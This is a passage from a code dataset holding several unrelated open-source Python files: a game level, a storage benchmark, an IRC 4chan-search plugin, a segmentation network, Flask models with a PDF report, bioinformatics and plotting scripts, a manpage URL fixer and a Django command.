    '\n 'This is level 7'),\n width=500,\n multiline=True,\n batch=self.level_batch\n )\n greeting.x, greeting.y = 500, 500\n self.addActor(greeting)\n #\n b1 = block.Block('b1', 'red-block.png', x=400, y=400, batch=self.level_batch)\n b1.addPhysics(engine.RectangleSpritePhysics())\n b1.draggable = True\n b1.rotatable = True\n self.addActor(b1)\n #\n b2 = block.RotatingBlock('b2', 'red-block.png',\n 0, 180, 5,\n x=600, y=400, batch=self.level_batch)\n b2.addPhysics(engine.RectangleSpritePhysics())\n b2.draggable = True\n self.addActor(b2)\n\n def getRock(world):\n \"\"\"Return a rock\"\"\"\n typ = random.randint(0, 1)\n a = engine.SpriteActor(\n engine.getUID('rock-%s'),\n 'helium.png' if typ == 0 else 'helium2.png',\n batch=rocks)\n a.rotation = float(engine.RandomGenerator(0, 360))\n a.tag = 'helium' if typ == 0 else 'helium2'\n a.addPhysics(engine.CircleSpritePhysics(10, .5, .1))\n return a\n\n e1 = emitter.Emitter(\n 'emitter1',\n 'emitter.png',\n getRock,\n 0.3,\n offset=(0, -40),\n velocity=engine.RandomGenerator(50, 500),\n angular_spread=10,\n x=400,\n y=700,\n batch=rocks\n )\n e1.tag = 'helium'\n e1.addPhysics(engine.RectangleSpritePhysics())\n e1.draggable = True\n self.addActor(e1)\n\n\nm = mainscreen\n\nLevel.conversation_logic = [\n (\n 'Initial greeting', True,\n [\n lambda w: w[m.W_INITIAL],\n ],\n [\n (m.Say, 'Hello there Sam. Good to see you again'),\n (m.Set, m.W_INITIAL, False),\n ]\n ),\n (\n 'After greeted', True,\n [\n lambda w: (time.time() - w[m.W_LAST_SPOKE] > settings.S.gerty_short_short_text),\n ],\n [\n (m.Say, 'Well it has been a while since I saw you'),\n ]\n ),\n (\n 'Hide greeted', True,\n [\n lambda w: (time.time() - w[m.W_LAST_SPOKE] > settings.S.gerty_short_short_text),\n ],\n [\n (m.Hide, ),\n ]\n )\n\n]","repo_name":"IndexErrorCoders/PygamesCompilation","sub_path":"IE_games_1/aranara-0.2.3/aranara/levels/level7.py","file_name":"level7.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"29508626108","text":"\"\"\"\nFile: performance_test.py\n\nThis file is for comparing different implementations of key-value stores\nthat might be used to solve my problem shown here:\n\nstackoverflow.com/questions/49438954/python-shared-memory-dictionary-for-mapping-big-data\n\n\"\"\"\n\nimport time\nimport sys\nfrom itertools import permutations\nimport ctypes\nimport multiprocessing as mp\n\npython2 = sys.version_info < (3, 0)\n\nfrom hashtable import HashTable\nif python2:\n import gdbm as dbm\nelse:\n import dbm\n\ntry:\n import snap\n has_snap = True\nexcept:\n has_snap = False\n\ntry:\n import redis\n has_redis = True\nexcept:\n has_redis = False\n\nperm_set = '1234567'\n\n\ndef test_dict_insert(d):\n for p in [''.join(p) for p in permutations(perm_set)]:\n d[p.encode()] = p.encode()\n\n\ndef test_dict_lookup(d):\n for p in [''.join(p) for p in permutations(perm_set)]:\n if p.encode() in d:\n pass\n\n\ndef test_redis_insert(d):\n for p in [''.join(p) for p in permutations(perm_set)]:\n d[p.encode()] = p.encode()\n\n\ndef test_redis_lookup(d):\n for p in [''.join(p) for p in permutations(perm_set)]:\n if p.encode() in d:\n pass\n\ndef test_it(d, name, norm_insert, norm_lookup, insert=test_dict_insert, lookup=test_dict_lookup):\n t = time.time()\n insert(d)\n t_insert = time.time() - t\n print(\"%s insert: %s sec. (x %s)\" % (name, t_insert, t_insert / norm_insert))\n\n t = time.time()\n lookup(d)\n t_lookup = time.time() - t\n print(\"%s lookup: %s sec. (x %s)\" % (name, t_lookup, t_lookup / norm_lookup))\n\n\ndef performance_test():\n\n # Standard Python dictionary\n d = {}\n t = time.time()\n test_dict_insert(d)\n norm_insert = time.time() - t\n print(\"dict insert: %s sec.\" % norm_insert)\n\n t = time.time()\n test_dict_lookup(d)\n norm_lookup = time.time() - t\n print(\"dict lookup: %s sec.\" % norm_lookup)\n\n # Shared memory hash table\n if python2:\n d = HashTable(\"table\", capacity=1000000)\n else:\n d = HashTable(key_type=ctypes.c_char_p, value_type=ctypes.c_char_p, capacity=1000000)\n test_it(d, \"Shared-Memory HashTable\", norm_insert, norm_lookup)\n\n\n if has_snap:\n test_it(snap.TStrStrH(), \"SNAP THash\", norm_insert, norm_lookup)\n test_it(mp.Manager().dict(), \"mp.Manager.dict\", norm_insert, norm_lookup)\n\n if has_redis:\n redis_db = redis.StrictRedis(host=\"localhost\", port=6379, db=0)\n test_it(redis_db, \"Redis\", test_redis_insert, norm_insert, norm_lookup,\n insert=test_redis_insert, lookup=test_redis_lookup)\n\n\n db = dbm.open('/lfs/madmax3/0/jdeaton/dbm_cache/cache', 'n')\n test_it(db, \"dbm\", norm_insert, norm_lookup)\n db.close()\n\n\nif __name__ == \"__main__\":\n performance_test()","repo_name":"snap-stanford/reddit-processing","sub_path":"scripts/performance_test.py","file_name":"performance_test.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"50"} +{"seq_id":"74143126874","text":"from util import hook\nfrom utilities import request\nfrom utilities import services\nfrom bs4 import BeautifulSoup\n\nMAX_NUM_URLS_DISPLAYED = 3\nMAX_NUM_URLS_FETCHED = 20\n\n\ndef extract_text_from_html(element):\n soup = BeautifulSoup(element, 'html.parser')\n\n # Loop through line break tags\n for line_break in soup.find_all('br'):\n # Replace tags with new line delimiter\n line_break.replace_with('\\n')\n\n # Get list of strings\n strings = soup.get_text().split('\\n')\n\n return \"\\n\".join([string for string in strings if string])\n\n\n@hook.command(\"4chan\")\n@hook.command\ndef catalog(inp):\n \"\"\"catalog -- Search all OP posts on the catalog of a board, and return matching results\"\"\"\n\n inp = inp.split(\" \")\n board = inp[0]\n user_query = (\" \".join(inp[1:])).strip()\n\n catalog_json_url = f\"https://a.4cdn.org/{board}/catalog.json\"\n\n try:\n catalog_json = request.get_json(catalog_json_url)\n except Exception as e:\n return f\"[4chan] Error fetching catalog\"\n\n # Store the search specifics in a dictionary\n results = []\n\n # Iterate through each page in the catalog\n for page in catalog_json:\n # Iterate through each thread on the page\n thread_list = page[\"threads\"]\n for thread in thread_list:\n # List of all relevant fields to search\n # https://github.com/4chan/4chan-API/blob/master/pages/Catalog.md\n sections = [\"com\", \"name\", \"trip\", \"email\", \"sub\", \"filename\"]\n\n # Get relevant fields from thread\n relevant_fields = {key: thread.get(key, \"\") for key in sections}\n\n # Search the relevant fields user query (case insensitive)\n query_in_relevant_fields = any(user_query.lower() in s.lower() for s in relevant_fields.values())\n\n # If the query is in any of the relevant fields, add the thread to the results\n if query_in_relevant_fields:\n results.append(thread)\n\n # If we have enough results, return them\n if len(results) >= MAX_NUM_URLS_FETCHED:\n break\n\n if len(results) == 0:\n return f\"No results on /{board}/ for {user_query}\"\n\n # Upload to pastebin if there are too many results\n if len(results) > MAX_NUM_URLS_DISPLAYED:\n # Create HTML formatted results to upload to taiga.link\n html_formatted_results = []\n\n for thread in results:\n url = f\"https://boards.4chan.org/{board}/thread/{thread['no']}\"\n subject = thread.get(\"sub\", \"(No subject)\")\n comment = thread.get(\"com\", \"\")\n\n html_formatted_results.append(f\"

    {subject}

    {url}\\n{comment}\\n\")\n\n return services.paste_taigalink(\n \"\\n\".join(html_formatted_results), f\"4chan {board} search results for {user_query}\", \"html\"\n )\n\n # Otherwise, return the results as a message to IRC\n irc_results = []\n for thread in results:\n max_chars = 100\n url = f\"https://boards.4chan.org/{board}/thread/{thread['no']}\"\n subject = extract_text_from_html(thread.get(\"sub\", \"\"))[:max_chars]\n comment = extract_text_from_html(thread.get(\"com\", \"\"))[:max_chars]\n\n irc_results.append(f\"{url} \\x02{subject}\\x02 {comment}\")\n\n return \" \".join(irc_results)\n\n\n@hook.command(autohelp=False)\ndef bs(inp):\n \"\"\"bs -- Returns current battlestation threads on /g/\"\"\"\n return catalog(\"g battlestation\")\n\n\n@hook.command(autohelp=False)\ndef desktops(inp):\n \"\"\"desktop -- Returns current desktop threads on /g/\"\"\"\n return catalog(\"g desktop thread\")\n\n\n@hook.command(autohelp=False)\ndef britbong(inp):\n \"\"\"britbong -- find latest britbong thread on /pol/\"\"\"\n return catalog(\"pol britbong\")\n","repo_name":"ineeee/Taigabot","sub_path":"plugins/4chan.py","file_name":"4chan.py","file_ext":"py","file_size_in_byte":3748,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"71446105435","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.init as init\nimport torch.utils.model_zoo as model_zoo\nfrom torchvision import models\n\nimport math\n\n\nclass DUC(nn.Module):\n def __init__(self, inplanes, planes, upscale_factor=2):\n super(DUC, self).__init__()\n self.relu = nn.ReLU()\n self.conv = nn.Conv2d(inplanes, planes, kernel_size=3,\n padding=1)\n self.bn = nn.BatchNorm2d(planes)\n self.pixel_shuffle = nn.PixelShuffle(upscale_factor)\n\n def forward(self, x):\n x = self.conv(x)\n x = self.bn(x)\n x = self.relu(x)\n x = self.pixel_shuffle(x)\n return x\n\nclass FCN(nn.Module):\n def __init__(self, num_classes):\n super(FCN, self).__init__()\n\n self.num_classes = num_classes\n\n resnet = models.resnet50(pretrained=True)\n\n self.conv1 = resnet.conv1\n self.bn0 = resnet.bn1\n self.relu = resnet.relu\n self.maxpool = resnet.maxpool\n\n self.layer1 = resnet.layer1\n self.layer2 = resnet.layer2\n self.layer3 = resnet.layer3\n self.layer4 = resnet.layer4\n\n self.duc1 = DUC(2048, 2048*2)\n self.duc2 = DUC(1024, 1024*2)\n self.duc3 = DUC(512, 512*2)\n self.duc4 = DUC(128, 128*2)\n self.duc5 = DUC(64, 64*2)\n\n self.out1 = self._classifier(1024)\n self.out2 = self._classifier(512)\n self.out3 = self._classifier(128)\n self.out4 = self._classifier(64)\n self.out5 = self._classifier(32)\n\n self.transformer = nn.Conv2d(320, 128, kernel_size=1)\n\n def _classifier(self, inplanes):\n if inplanes == 32:\n return nn.Sequential(\n nn.Conv2d(inplanes, self.num_classes, 1),\n nn.Conv2d(self.num_classes, self.num_classes,\n kernel_size=3, padding=1)\n )\n return nn.Sequential(\n nn.Conv2d(inplanes, inplanes/2, 3, padding=1, bias=False),\n nn.BatchNorm2d(inplanes/2, momentum=.95),\n nn.ReLU(inplace=True),\n nn.Dropout(.1),\n nn.Conv2d(inplanes/2, self.num_classes, 1),\n )\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn0(x)\n x = self.relu(x)\n conv_x = x\n x = self.maxpool(x)\n pool_x = x\n\n fm1 = self.layer1(x)\n fm2 = self.layer2(fm1)\n fm3 = self.layer3(fm2)\n fm4 = self.layer4(fm3)\n\n dfm1 = fm3 + self.duc1(fm4)\n out16 = self.out1(dfm1)\n\n dfm2 = fm2 + self.duc2(dfm1)\n out8 = self.out2(dfm2)\n\n dfm3 = fm1 + self.duc3(dfm2)\n\n dfm3_t = self.transformer(torch.cat((dfm3, pool_x), 1))\n out4 = self.out3(dfm3_t)\n\n dfm4 = conv_x + self.duc4(dfm3_t)\n out2 = self.out4(dfm4)\n\n dfm5 = self.duc5(dfm4)\n out = self.out5(dfm5)\n\n return out, out2, out4, out8, out16\n","repo_name":"ycszen/pytorch-segmentation","sub_path":"duc.py","file_name":"duc.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","stars":414,"dataset":"github-code","pt":"50"} +{"seq_id":"19619970870","text":"import statistics\nfrom fpdf import FPDF\nfrom itsdangerous import TimedJSONWebSignatureSerializer as seralizer\nfrom pixies import db,login_manager,app\nfrom sqlalchemy import text\nfrom flask_login import UserMixin\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.get(int(user_id))\n\n\nclass User(db.Model,UserMixin):\n #__bind_key__ = 'anali'\n id = db.Column(db.Integer,primary_key=True)\n username= db.Column(db.String(20),unique=True,nullable=False)\n email= db.Column(db.String(120),unique=True,nullable=False)\n image_file = db.Column(db.String(150),nullable=False,default='https://res.cloudinary.com/pixies/image/upload/v1602729197/project/df_xbqa96.jpg')\n public_id = db.Column(db.String(120),default='project/df_xbqa96')\n password = db.Column(db.String(60),nullable=False)\n \n def get_reset_token(self,expires_sec=1800):\n s = seralizer(app.config['SECRET_KEY'],expires_sec)\n return s.dumps({'user_id':self.id}).decode('utf-8')\n \n @staticmethod\n def verify_reset_token(token):\n s = seralizer(app.config['SECRET_KEY'])\n try:\n user_id = s.loads(token)['user_id']\n except:\n return None\n return User.query.get(user_id) \n\n\n def __repr__(self):\n return f\"User( '{self.username}','{self.email}','{self.image_file}')\"\n\nclass analizis(db.Model):\n __tablename__ = 'analisis'\n id_analisis = db.Column(db.Integer,primary_key=True)\n name = db.Column(db.String(50),nullable=False)\n email = db.Column(db.String(50),nullable=False)\n address = db.Column(db.String(50),nullable=False)\n zip = db.Column(db.String(50),nullable=False)\n phone = db.Column(db.String(50),nullable=False)\n ciudad =db.Column(db.String(50),nullable=False)\n pais =db.Column(db.String(50),nullable=False)\n def __init__(self, name, email, address,zip,phone,ciudad,pais):\n self.name = name\n self.email = email\n self.address = address\n self.zips = zip\n self.phone = phone\n self.ciudad = ciudad\n self.pais = pais\n def __repr__(self):\n return ''.format(self.id_analisis)\n\n\n\n\n#se aagrupan los datos por pais\ndef groupByPais():\n querie = text(\"SELECT pais, COUNT('ID_Cliente') as cliente FROM public.analisis GROUP BY pais ORDER BY cliente DESC;\")\n \n data_USA2 = db.get_engine().execute(querie)\n #anali\n if data_USA2:\n datos = [{\"Pais\":a[0],\"NumeroClientes\":a[1]} for a in data_USA2]\n return datos\n else:\n no_data = [{\"Pais\":\"NO HAY DATOS\",\"NumeroClientes\":\"NO HAY DATOS\"}]\n return no_data\n\n\n#se calcula estadistica de media,moda y mediana\ndef calcularThreeM():\n querie = text(\"SELECT pais, COUNT('ID_Cliente') as cliente FROM public.analisis GROUP BY pais ORDER BY cliente DESC;\")\n data = db.get_engine().execute(querie)\n sumisa = []\n for t in data:\n sumisa.append(t[1])\n if not sumisa:\n # definitive_master()\n return next(calcularThreeM())\n\n sd = statistics.mean(sumisa)\n mean = round(sd,2)\n print(\"Media del: \" , mean)\n mediana = statistics.median(sumisa)\n print(\"Mediana: \",mediana)\n modas = statistics.mode(sumisa)\n print(\"Moda\",modas)\n estadistica = [mean,mediana,modas]\n return estadistica\n \n\n#se aagrupan los datos por pais por comando\ndef group_low():\n querie = text(\"SELECT pais, COUNT(pais) as clientes FROM public.analisis GROUP BY pais having count(pais) < 175 ORDER BY clientes DESC;\")\n datos_byP = db.get_engine().execute(querie)\n return datos_byP\ndef groupgre():\n querie = text(\"SELECT pais, COUNT(pais) as clientes FROM public.analisis GROUP BY pais having count(pais) > 175 ORDER BY clientes DESC;\")\n datos_byP = db.get_engine().execute(querie)\n return datos_byP\ndef groupmoda():\n querie = text(\"SELECT pais, COUNT(pais) as clientes FROM public.analisis GROUP BY pais having count(pais) = 1 ORDER BY clientes DESC;\")\n datos_byP = db.get_engine().execute(querie)\n return datos_byP\n#metodo para obtner los datos\ndef datos_agrupados_porPais(grupo):\n switch = {\n 1: groupgre,\n 2: group_low,\n 3: groupmoda\n }\n func = switch.get(grupo,\"Nelseon\")\n return func() \n\n#datos pbtenidos\ndef firstTendatos():\n query = text(\"SELECT pais, COUNT(pais) as clientes FROM public.analisis GROUP BY pais having count(pais) > 175 ORDER BY clientes DESC;\")\n paisbyCl = db.get_engine().execute(query)\n return paisbyCl\n\n\n#Creacion del template PDF\nclass PDF(FPDF):\n #Encabezado del pdf\n def header(self):\n # Logo\n self.image('pixies/static/profile_img/lgogo.png', 165, 8, 33)\n # Arial bold 15\n self.set_font('Arial', 'B', 25)\n # Se mueve a la derecha\n self.cell(80)\n # Titulo\n self.cell(30, 49, 'Reporte de Analisis de datos', 0, 0, 'C')\n # Line break\n self.ln(20)\n\n def chapter_body(self,estadistica,date,user,email,num_clients):\n self.ln(10)\n # Times 12\n self.set_font('Times', '', 12)\n self.cell(0,8,\"Nombre del Proyecto: Generacion de PDF template con informacion con base de datos\",1,1)\n self.set_font('Times', '', 12)\n self.cell(0,8,\"Nombre de Reporte: \",1,1)\n self.set_font('Times', '', 12)\n self.cell(150,-8,f\"Fecha: {date}\",0,0,\"R\")\n self.ln(2)\n self.set_font('Times', '', 12)\n self.cell(0,8,f\"{user}\",0,0)\n # Linea horizontal\n self.line(10,68,200,68)\n \n self.ln(8)\n self.set_font('Times', 'I', 12)\n self.cell(0,8,\"Nombre Usario quien realizo la consulta\",0,0)\n self.ln(10)\n self.set_font('Times', '', 12)\n self.cell(0,8,f\"{email}\",0,0)\n # Linea horizontal\n self.line(10,85,200,85)\n self.ln(8)\n self.set_font('Times', 'I', 12)\n self.cell(0,8,\"Correo Electronico del Usario \",0,0)\n self.ln(8)\n self.set_font('Times','B',14)\n self.cell(78,50,\"Proposito De la Investigacion datos\",1,2)\n self.set_xy(88,92)\n self.set_font('Times', '', 12)\n texto = '''\n Nosotros previamente seleccionamos las tablas de cliente\n de ambas bases datos, con el objetivo buscar una\n estrategia para las diferentes áreas,en donde no tenga un\n gran impacto,por ejemplo,como los países con menos\n clientes de 20 o menos. Además de buscar un patrón en\n esos países no compiten con los países con mayores\n clientes. Dar unasoluciónpara fortalecer las áreas con\n menores clientes.\n '''\n self.multi_cell(112,5,texto,1,2,\"L\")\n self.ln()\n self.set_font('Times','B',14)\n self.cell(0,8,\"Fase 2 Preprocesamiento\",0,0)\n self.ln()\n self.set_font('Times','',12) \n self.cell(0,8,\"Conceptos\",0,0)\n self.ln(-1)\n text2 = '''\nPara poder comenzar a trabajar en la segunda fase se investigó sobre la media, mediana y moda, las cuales son la herramientanecesaria para poder observar que parte es en la que más me conviene trabajar\n '''\n self.set_font('Times','',12) \n self.multi_cell(0,5,text2,0,0)\n self.ln()\n self.set_font('Times','',12)\n self.cell(0,8,f\"Mediana: {estadistica[1]}\",0,0)\n self.ln()\n self.set_font('Times','',12)\n self.cell(0,8,f\"Media: {estadistica[0]}\",0,0)\n self.ln()\n self.set_font('Times','',12)\n self.cell(0,8,f\"Moda: {estadistica[2]}\",0,0)\n self.ln(17)\n self.ln(5)\n #tratar de hacer una tabla\n self.set_font('Times','',12)\n th = self.font_size\n num=0\n for row in num_clients:\n num = num + 8\n self.set_xy(120,170 + num)\n for dats in row: \n self.cell(40,8,str(dats),1)\n self.ln() \n #alternative\n self.ln(-5) \n # Page footer\n def footer(self):\n # Position at 1.5 cm from bottom\n self.set_y(-15)\n # Arial italic 8\n self.set_font('Arial', 'I', 8)\n # Page number\n self.cell(0, 10, 'Page ' + str(self.page_no()) + '/{nb}', 0, 0, 'C')\n def print_chapter(self,estadistica,date,user,email,num_clients):\n self.add_page()\n self.chapter_body(estadistica,date,user,email,num_clients)\n","repo_name":"bigvictornaq/pixies-pro","sub_path":"pixies/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8322,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"12508985464","text":"#Import numpy for calculations\nimport numpy as np\n\n#Import glob for obtaining the files.\nimport glob, os\n\n#Import sys for obtaining command line args.\nimport sys\nsys.path.append(os.path.abspath(\"../common_scripts\"))\nimport wig_and_signal_utils as wsu\n\n\"\"\"\nMatch each input to its closest shape. Print the region, its closest\nmatch, and the ambiguity of the match to a BED file.\n\"\"\"\ndef main():\n\n input = sys.argv[1]\n shape = sys.argv[2]\n output_dir = sys.argv[3]\n wig_path = sys.argv[4]\n cutoff = float(sys.argv[5])\n\n #Create grids for labeling SOM nodes with shape indices.\n learned_shapes = []\n learned_shapes_counts = []\n learned_shapes.append(list())\n learned_shapes_counts.append(list())\n shape_names = [[]]\n shape_count = 0\n \n #Open all input files.\n in_file = open(input, 'r')\n shape_file = open(shape, 'r')\n\n #Notify the user that files were found\n print(\"Using the input file:\")\n print(in_file.name)\n\n #Notify the user that files were found\n print(\"Using the shape file:\")\n print(shape_file.name)\n\n #Match the inputs to shapes and close the files.\n match_shapes_cutoff(in_file.name, shape_file.name, output_dir, wig_path, cutoff)\n in_file.close()\n shape_file.close()\n\n\"\"\"\nMatch each input to the nearest shape.\nPrint out the region with its corresponding shape to a BED file.\n\"\"\"\ndef match_shapes_cutoff(in_file_name, shape_file_name, out_dir, wig_name, cutoff):\n \n #Get threshold to use in printing.\n wig = open(wig_name, 'r')\n intensity = wsu.get_intensity_percentile(0.995, wig, 0)\n if intensity == 0:\n intensity = 0.1\n print(\"\\n\")\n wig.close()\n scale = 5.0 / intensity\n \n #Open input and shape files.\n in_file = open(in_file_name, \"r\")\n shape_file = open(shape_file_name, \"r\")\n \n #Open output files.\n out_file = open(out_dir, \"w\")\n out_clust = open(out_dir + \"clust\", \"w\")\n \n #Read in shape data.\n shapes = []\n shape_anno = []\n shape_name = []\n next_shape = shape_file.readline()\n counter = 0\n while next_shape:\n split_tabs = next_shape.split(\"\\t\")\n shape_anno.append(split_tabs[1])\n shape_name.append(split_tabs[0])\n shapes.append([float(i) for i in split_tabs[2].split(\",\")])\n next_shape = shape_file.readline()\n shape_file.close()\n \n #Read in each line in the file and map it.\n if(len(shapes) > 1):\n next_line = in_file.readline()\n while(next_line):\n \n #Get the chromosome and position info to print to the output file.\n #Get the input signal to match with the shapes.\n inputStr = []\n labels = []\n split_line = next_line.split(\",\")\n labels = list(split_line[0:3])\n inputStr = list(split_line[3:len(split_line)])\n input = [float(i) for i in inputStr] \n input_scaled = input * np.tile(scale, len(input))\n \n #Match the data to the nearest shape and obtain the match and the ambiguity metric.\n [match, ambig, crosscorr, out_str] = match_region(input_scaled, shapes, shape_anno)\n \n #If the cross-correlation is within the threshold, assign the label as the correct label for the region.\n #Otherwise, assign it as unknown.\n anno_label = \"Unknown\"\n anno_name = \"Unknown\"\n if crosscorr >= cutoff and match != -1:\n anno_label = shape_anno[match]\n anno_name = shape_name[match]\n\n #Print match to BED file. Format is:\n #chrom start end shape_num 1 - ambiguity\n #Score is the opposite of the ambiguity metric.\n out_file.write(\"chr\" + labels[0] + \"\\t\" + labels[1] + \"\\t\" + labels[2] + \"\\t\" + anno_label + \"\\t\" + str(1 - ambig) + \"\\t\" + out_str + \"\\n\")\n out_clust.write(\"chr\" + labels[0] + \"\\t\" + labels[1] + \"\\t\" + labels[2] + \"\\t\" + anno_name + \"\\t\" + str(1 - ambig) + \"\\t\" + out_str + \"\\n\")\n\n #Read the next line in the file. \n next_line = in_file.readline()\n \n #Print a message to the user.\n print(\"Files done\")\n else:\n print(\"Only one shape. No annotation performed.\")\n out_file.close()\n out_clust.close()\n in_file.close()\n\n\"\"\"\nFind the closest match for the input in the list of shapes.\nReturn an ambiguity metric which measures how close the input\nis to its nearest shape as opposed to other shapes.\n\"\"\"\ndef match_region(region, shapes, annotations):\n\n #Create array to hold distances between region and shapes.\n max_crosscorr = 0\n match = 0\n opt_delay = 0\n crosscorr_list = []\n \n #For each shape, determine the region's distance from it.\n for i in range(len(shapes)):\n shape = shapes[i]\n if annotations[i] != \"Unknown\":\n crosscorr, d = get_max_crosscorr(region, shape)\n crosscorr_list.append(crosscorr)\n if crosscorr_list[len(crosscorr_list) - 1] > max_crosscorr:\n max_crosscorr = crosscorr_list[len(crosscorr_list) - 1]\n match = i\n opt_delay = d\n\n #Calculate the ambiguity metric. Only do so if not all cross-correlations are zero.\n #If they are all zero, set ambiguity to 1 (completely ambiguous) and do not assign\n #it to a shape.\n ambig = 1.0\n if not max_crosscorr == 0:\n ambig = get_ambiguity(crosscorr_list, region)\n else:\n match = -1\n \n #Write the shape values to a separate file.\n #This file will be used for shape validity analysis.\n \n comma = \",\"\n out_str = comma.join(str(e) for e in region)\n \n #The ambiguity metric is the ratio of the closest shape's distance\n #to the distance of the second closest shape.\n return [match, ambig, max_crosscorr, out_str]\n\n\"\"\"\nCompute the ambiguity metric. It is equivalent to the smallest distance\nfrom the region to a shape centroid, divided by the second smallest\ndistance from the region to a shape centroid.\n\"\"\" \ndef get_ambiguity(list, region):\n list_array = np.asarray(list)\n max_idx = np.argmax(list_array)\n list_max_removed = np.delete(list_array, max_idx)\n max_idx_2 = np.argmax(list_max_removed)\n ambiguity = list_max_removed[max_idx_2] / list_array[max_idx]\n return ambiguity\n\n\"\"\"\nFind the minimum distance between the region and shifted shape.\n\"\"\"\ndef get_max_crosscorr(region, shape):\n\n #Since the region is twice the size of the shape, search along the region and match at the best point.\n maximum = 0\n crosscorr = 0\n opt_delay = 0\n step = len(shape) / 10\n for i in range(0, 10):\n try:\n delay = i * step\n crosscorr = wsu.get_crosscorr(region, shape, int(delay), 0.5, 0, False, False, 0)\n \n #If the distance is the smallest so far, update.\n if crosscorr > maximum:\n maximum = crosscorr\n opt_delay = delay\n except ValueError:\n pass\n #Return the smallest distance\n return [crosscorr, delay]\n\nif __name__ == \"__main__\":\n main()","repo_name":"taraeicher/SOM_VN","sub_path":"annotation_scripts/make_annotated_bed.py","file_name":"make_annotated_bed.py","file_ext":"py","file_size_in_byte":7112,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"21161416227","text":"USE_LATEX = True\nimport numpy as np\nimport matplotlib\nif ( USE_LATEX ):\n import mplLaTeX as mltx\n matplotlib.rcParams.update(mltx.params)\nfrom matplotlib import pyplot as plt\nfrom scipy import signal\nimport json\nimport sys\n\nDDIR = \"dataPlane/PMLAnalysis/bkg\"\nFILES = [\"realField5s.json\", \"realField60s.json\", \"realField85s.json\"]\nif ( USE_LATEX ):\n LABELS = [\"$\\SI{5}{\\degree}$\", \"$\\SI{60}{\\degree}$\", \"$\\SI{85}{\\degree}$\", \"$\\SI{88}{\\degree}$\"]\nelse:\n LABELS = [\"5 deg\", \"60 deg\", \"85 deg\", \"88 deg\"]\n\nMARKER = [\"o\", \"^\", \"s\", \"p\"]\nFDIR = \"Figures\"\n\n# Add directory\nfor i in range(0,len(FILES)):\n FILES[i] = DDIR+\"/\"+FILES[i]\n\ndef main():\n assert ( len(FILES) <= len(LABELS) )\n assert ( len(FILES) <= len(MARKER) )\n\n fig = plt.figure() \n ax = fig.add_subplot(111)\n for i in range(0, len(FILES)):\n try:\n infile = open(FILES[i], 'r')\n except:\n print (\"Could not open file %s\"%(FILES[i]))\n continue\n \n data = json.load( infile )\n infile.close()\n amplitude = np.array( data[\"PMLMonitors\"][\"MaxAmplitude\"] )\n position = np.array( data[\"PMLMonitors\"][\"position\"] )\n position = position[::-1]\n amplitude /= np.max( amplitude )\n ax.plot( position, amplitude, color=\"black\", label=LABELS[i], marker=MARKER[i], fillstyle=\"none\" )\n\n ax.set_xlabel(\"Distance inside PML layer\")\n ax.set_ylabel(\"Amplitude\")\n ax.legend( loc=\"lower left\", frameon=False )\n \n if ( USE_LATEX ):\n fname = FDIR +\"/pmlDamping.pdf\"\n fig.savefig( fname, bbox_inches=\"tight\" )\n print (\"Figure saved to %s\"%(fname))\n else:\n plt.show()\n\nif __name__ == \"__main__\":\n main()\n\n \n","repo_name":"davidkleiven/OptiX","sub_path":"FresnelFDTD/pmlAnalysis.py","file_name":"pmlAnalysis.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"71232348316","text":"import re\nimport os\nimport logging\n\nimport giza.libgiza.task\n\nfrom giza.tools.files import expand_tree\n\nlogger = logging.getLogger('giza.content.manpages')\n\n# Manpage Processing\n\n# this is a precursor to giza.tools.transformation and should be re-implemented.\n\n\ndef manpage_url(regex_obj, input_file):\n with open(input_file, 'r') as f:\n manpage = f.read()\n\n if isinstance(regex_obj, list):\n for regex, subst in regex_obj:\n manpage = regex.sub(subst, manpage)\n else:\n manpage = regex_obj[0].sub(regex_obj[1], manpage)\n\n with open(input_file, 'w') as f:\n f.write(manpage)\n\n logger.info(\"fixed urls in {0}\".format(input_file))\n\n\ndef manpage_url_tasks(builder, conf):\n project_source = os.path.join(conf.paths.projectroot,\n conf.paths.source)\n\n top_level_items = set()\n for fs_obj in os.listdir(project_source):\n if fs_obj.startswith('.static') or fs_obj == 'index.txt':\n continue\n if os.path.isdir(os.path.join(project_source, fs_obj)):\n top_level_items.add(fs_obj)\n if fs_obj.endswith('.txt'):\n top_level_items.add(fs_obj[:-4])\n\n top_level_items = '/' + r'[^\\s]*|/'.join(top_level_items) + r'[^\\s]*'\n\n re_string = r'(\\\\fB({0})\\\\fP)'.format(top_level_items).replace(r'-', r'\\-')\n subst = conf.project.url + '/' + conf.project.tag + r'\\2'\n\n regex_obj = (re.compile(re_string), subst)\n\n tasks = []\n for manpage in expand_tree(os.path.join(conf.paths.projectroot,\n conf.paths.output,\n conf.git.branches.current,\n builder), ['1', '5']):\n\n description = 'processing urls in manpage file: {0}'.format(manpage)\n tasks.append(giza.libgiza.task.Task(job=manpage_url,\n args=(regex_obj, manpage),\n target=manpage,\n dependency=None,\n description=description))\n\n return tasks\n","repo_name":"mongodb/docs-tools","sub_path":"giza/giza/content/post/manpages.py","file_name":"manpages.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"50"} +{"seq_id":"4447504609","text":"from django.core.management.base import BaseCommand\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\n\n\nclass Command(BaseCommand):\n help = \"This command automatically create sulg field all User models\"\n\n def handle(self, *args, **options):\n print(\"Let's started ...\")\n\n all_user = User.objects.all()\n for slug in all_user:\n slug.save()\n\n print(\"-- All User objects create slug 